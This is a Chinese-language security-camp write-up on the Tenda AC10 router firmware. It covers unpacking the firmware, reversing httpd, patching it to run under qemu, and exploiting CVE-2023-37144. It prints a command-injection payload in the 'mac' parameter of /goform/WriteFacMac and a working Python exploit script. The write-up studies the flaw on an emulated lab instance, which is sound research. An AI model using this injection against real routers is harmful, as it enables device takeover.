---
# System prepended metadata

title: Tenda AC10 router emulation & analysis

---

TeamT5 Security Camp 2023 pre-exam Writeup
===

解包與逆向分析
---
### 1.1 extract firmware
使用
```
unrar e US_AC10V1.0RTL_V15.03.06.23_multi_TD01.rar
```
解壓縮後使用 binwalk 查看
```
terry1234@ubuntu:~/t5camp$ binwalk US_AC10V1.0RTL_V15.03.06.23_multi_TD01.bin 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
10328         0x2858          LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 7070932 bytes
1068530       0x104DF2        MySQL ISAM index file Version 6
2105426       0x202052        Squashfs filesystem, little endian, version 4.0, compression:xz, size: 3700854 bytes, 810 inodes, blocksize: 131072 bytes, created: 2038-04-24 02:46:24
```
可以使用以下指令獲得檔案系統
```
binwalk -e US_AC10V1.0RTL_V15.03.06.23_multi_TD01.bin 
```

### 1.2 逆向
httpd 會先呼叫 init_core_dump() setup_signals() apmib_init() 進行初始化，並反覆呼叫 check_network() 檢查網路，失敗則會 sleep 1 秒直到通過檢查。
之後會使用 GetValue() getIfIp() 等函數獲取各個參數的資料，並呼叫 initWebs() 對網頁進行初始化

initWebs() 會設定以下資訊後，呼叫 websOpenServer(port, retries) 嘗試開啟 server
```
websDefaultDir = ""/webroot"
websIpaddr = ipaddr
websDefaultPage = "main.html"
websHost = host
websPassword = password
```
成功的話就會使用 websUrlHandlerDefine() 與  formDefineTendDa() 註冊 Handler

websOpenServer(port, retries) 會呼叫 websUrlHandlerOpen()、websFormOpen() 與 websOpenListen(port, retries)

websOpenListen() 會呼叫 socketOpenConnection() 開啟 socket
### 1.3 漏洞和攻擊面分析
#### CVE-2023-37144
![image](https://hackmd.io/_uploads/SydiUlZHp.png)
formWriteFacMac 中會使用 websGetVar 獲取 mac 參數的值並傳入 doSystemCmd() 中

doSystemCmd() 可以在 libcommon.so 中被找到
沒有過濾傳入 system() 的內容，造成 Command Injection
![image](https://hackmd.io/_uploads/HJdq_l-Hp.png)

查看 Xrefs 發現 formWriteFacMac() 被 formDefineTendDa() 使用 `websFormDefine("WriteFacMac", (void (*)(webs_t, char_t *, char_t *))formWriteFacMac)` 註冊為 `WriteFacMac` 的實作
而 formDefineTendDa() 則在 initWebs() 中被呼叫
![image](https://hackmd.io/_uploads/B1k9hlZS6.png)

所以發送以下 HTTP request 即可進行攻擊(下面有 demo)
也可以直接訪問 `http://192.168.94.139/goform/WriteFacMac?mac=;echo%20pwned%20by%20Terry1234` 進行攻擊
```
GET /goform/WriteFacMac?mac=;echo%20pwned%20by%20Terry1234
Host: 192.168.94.139
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Cookie: password=ownmji
Upgrade-Insecure-Requests: 1
```

Web服務模擬實作
---
### 配置執行環境
嘗試使用 qemu-mipsel-static 模擬，先將 qemu-user-static 複製到 squashfs-root 底下
```
sudo apt install lib32z1 qemu-user-static
sudo cp $(which qemu-mipsel-static) ./
```
可以使用以下指令模擬
```
sudo chroot ./ ./qemu-mipsel-static ./bin/httpd
```
會出現以下錯誤，所以對 httpd 做 patch，跳過 apmib_init()


```
terry1234@ubuntu:~/t5camp/_US_AC10V1.0RTL_V15.03.06.23_multi_TD01.bin.extracted/squashfs-root$ sudo chroot . ./qemu-mipsel-static ./bin/httpd
init_core_dump 1917: rlim_cur = 0, rlim_max = 2147483647
init_core_dump 1926: open core dump success
/bin/sh: can't create /proc/sys/kernel/core_pattern: nonexistent directory
init_core_dump 1935: rlim_cur = 5242880, rlim_max = 5242880


Yes:

      ****** WeLoveLinux****** 

 Welcome to ...
Read hw setting header failed!
Invalid hw setting signature [sig=]!
Initialize AP MIB failed !
```
![image](https://hackmd.io/_uploads/B1JFSJSVT.png)

將 jalr t9 這行 patch 成 li v0, 1; nop 並匯出即可，後面對 check_network() 與 ConnectCfm() 的 patch 方法都跟這個相同 
![image](https://hackmd.io/_uploads/rkraxoeBT.png)
接下來似乎會進入無窮迴圈，推測是這邊出問題，嘗試對 check_network() 做 patch
![image](https://hackmd.io/_uploads/BkAHJseHp.png)
會出現 connect cfm failed!，所以對 ConnectCfm() 也做 patch

將匯出的檔案(httpd_patched)放入 ./squashfs-root/bin，使用以下指令嘗試啟動
```
cd squashfs-root
sudo chroot ./ ./qemu-mipsel-static ./bin/httpd_patched
```
![image](https://hackmd.io/_uploads/HylrVslH6.png)
IP 地址不對，參考了一些文章後發現要加一張 br0 的網卡(ens33 是我的網卡名稱)
```
sudo apt install uml-utilities bridge-utils
sudo brctl addbr br0
sudo brctl addif br0 ens33
sudo ifconfig br0 up
sudo dhclient br0
```
![image](https://hackmd.io/_uploads/rkspBsxSa.png)

成功啟動
有看到一些文章說會出現 Access Error: Page not found，不過我沒遇到，可以用以下指令處理
```
rm rf webroot
sudo ln -s webroot_ro/ webroot 
```
![image](https://hackmd.io/_uploads/By7rUslSa.png)

我用 browser 初次開啟時沒有遇到登入介面，不確定原因

可以用 gdb-multiarch 動態調試
```
sudo apt install gdb-multiarch

sudo chroot . ./qemu-mipsel-static -g 1234 ./bin/httpd_patched
```
![image](https://hackmd.io/_uploads/BJW_3kbrp.png)

漏洞利用實作
---
### Exploit CVE-2023-37144
在錄 demo 的時候發現第一次執行會被 redirect 到 main.html，第 2 次執行才成功
```py=
import requests

url = 'http://192.168.94.139/goform/WriteFacMac'
headers = {
    'Host': '192.168.94.139',
    'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:104.0) Gecko/20100101 Firefox/104.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
    'Accept-Language': 'en-US,en;q=0.5',
    'Accept-Encoding': 'gzip, deflate',
    'Connection': 'keep-alive',
    'Cookie': 'password=ownmji',
    'Upgrade-Insecure-Requests': '1'
}

params = {'mac': ';echo pwned by Terry1234'}
response_get = requests.get(url, headers=headers, params=params)

print('status code:', response_get.status_code)
print('GET response:', response_get.text)
```